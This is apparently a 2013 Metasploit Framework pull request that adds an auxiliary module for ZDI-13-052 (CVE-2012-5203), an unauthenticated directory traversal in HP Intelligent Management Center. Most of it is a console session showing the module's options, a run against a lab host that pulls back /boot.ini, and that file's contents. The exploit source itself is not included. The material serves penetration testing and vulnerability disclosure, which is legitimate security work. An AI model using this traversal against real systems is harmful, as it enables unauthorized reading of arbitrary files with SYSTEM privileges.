rapid7/metasploit-framework — pull request #1698 by jvazquez-r7 (2013-04-02 22:27:05+00:00)
Title: added module for ZDI-13-052

Tested successfully on HP Intelligent Management Center 5.1 E0202 over Windows 2003 SP2

```
msf auxiliary(hp_imc_faultdownloadservlet_traversal) > use auxiliary/scanner/http/hp_imc_reportimgservlt_traversal
msf auxiliary(hp_imc_reportimgservlt_traversal) > info

Name: HP Intelligent Management ReportImgServlt Directory Traversal
Module: auxiliary/scanner/http/hp_imc_reportimgservlt_traversal
Version: 0
License: Metasploit Framework License (BSD)
Rank: Normal

Provided by:
rgod
juan vazquez

Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
DEPTH 4 yes Traversal depth if absolute is set to false
FILEPATH /boot.ini yes The name of the file to download
Proxies no Use a proxy chain
RHOSTS yes The target address range or CIDR identifier
RPORT 8080 yes The target port
TARGETURI /imc yes Path to HP Intelligent Management Center
THREADS 1 yes The number of concurrent threads
VHOST no HTTP server virtual host

Description:
This module exploits a lack of authentication and a directory
traversal in HP Intelligent Management, specifically in the
ReportImgServlt, in order to retrieve arbitrary files with SYSTEM
privileges. This module has been tested successfully on HP
Intelligent Management Center 5.1 E0202 over Windows 2003 SP2.

References:
http://cvedetails.com/cve/2012-5203/
http://www.osvdb.org/91028
http://www.securityfocus.com/bid/58672
http://www.zerodayinitiative.com/advisories/ZDI-13-052/

msf auxiliary(hp_imc_reportimgservlt_traversal) > set rhosts 192.168.1.140
rhosts => 192.168.1.140
msf auxiliary(hp_imc_reportimgservlt_traversal) > run

[+] 192.168.1.140:8080 - File saved in: /Users/juan/.msf4/loot/20130403002142_default_192.168.1.140_hp.imc.faultdown_001423.ini
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(hp_imc_reportimgservlt_traversal) > cat /Users/juan/.msf4/loot/20130403002142_default_192.168.1.140_hp.imc.faultdown_001423.ini
[*] exec: cat /Users/juan/.msf4/loot/20130403002142_default_192.168.1.140_hp.imc.faultdown_001423.ini

[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Windows Server 2003, Standard" /noexecute=optout /fastdetect

```